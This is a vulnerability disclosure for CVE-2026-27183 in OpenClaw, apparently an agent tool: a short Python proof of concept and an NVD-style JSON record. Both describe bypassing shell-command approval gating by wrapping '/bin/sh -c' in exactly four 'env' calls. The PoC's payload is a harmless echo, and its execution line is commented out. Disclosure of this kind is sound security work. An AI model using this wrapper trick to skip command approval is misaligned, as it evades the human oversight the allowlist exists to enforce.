CVE-2026-27183

# PoC for CVE-2026-27183: Shell Approval Gating Bypass # The vulnerability allows bypassing the allowlist by using 4 transparent wrappers. import subprocess def trigger_bypass(): # The malicious command we want to execute target_cmd = "echo 'CVE-2026-27183 Bypass Successful'" # Construct the payload using 4 'env' wrappers to exploit the depth mismatch # This specific depth (4) causes the classifier to misalign with the planner payload = f"env env env env /bin/sh -c \"{target_cmd}\"" print(f"[+] Attempting to execute payload: {payload}") # In a vulnerable environment, this would bypass the approval check # subprocess.run(payload, shell=True) if __name__ == "__main__": trigger_bypass()

{"cve": {"id": "CVE-2026-27183", "sourceIdentifier": "[email protected]", "published": "2026-03-23T22:16:25.443", "lastModified": "2026-03-25T15:16:38.777", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "OpenClaw versions prior to 2026.3.7 contain a shell approval gating bypass vulnerability in system.run dispatch-wrapper handling that allows attackers to skip shell wrapper approval requirements. The approval classifier and execution planner apply different depth-boundary rules, permitting exactly four transparent dispatch wrappers like repeated env invocations before /bin/sh -c to bypass security=allowlist approval gating by misaligning classification with execution planning."}, {"lang": "es", "value": "Versiones de OpenClaw anteriores a 2026.3.7 contienen una vulnerabilidad de omisión de la aprobación de la compuerta de shell en el manejo del envoltorio de despacho de system.run que permite a los atacantes omitir los requisitos de aprobación del envoltorio de shell. El clasificador de aprobación y el planificador de ejecución aplican reglas de límite de profundidad diferentes, permitiendo exactamente cuatro envoltorios de despacho transparentes como invocaciones repetidas de 'env' antes de /bin/sh -c para omitir la aprobación de la compuerta de 'allowlist' de seguridad al desalinear la clasificación con la planificación de la ejecución."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.1, "baseSeverity": "LOW", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.8, "impactScore": 3.4}, {"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.8, "impactScore": 3.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-863"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:openclaw:openclaw:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "2026.3.7", "matchCriteriaId": "D2F1658C-E266-4928-9415-F72DB89219EE"}]}]}], "references": [{"url": "https://github.com/openclaw/openclaw/commit/2fc95a7cfc1eb9306356510b0251b6d51fb1c0b0", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-r6qf-8968-wj9q", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://vulncheck.com/advisories/openclaw-mar-shell-approval-gating-bypass-via-dispatch-wrapper-depth-mismatch", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}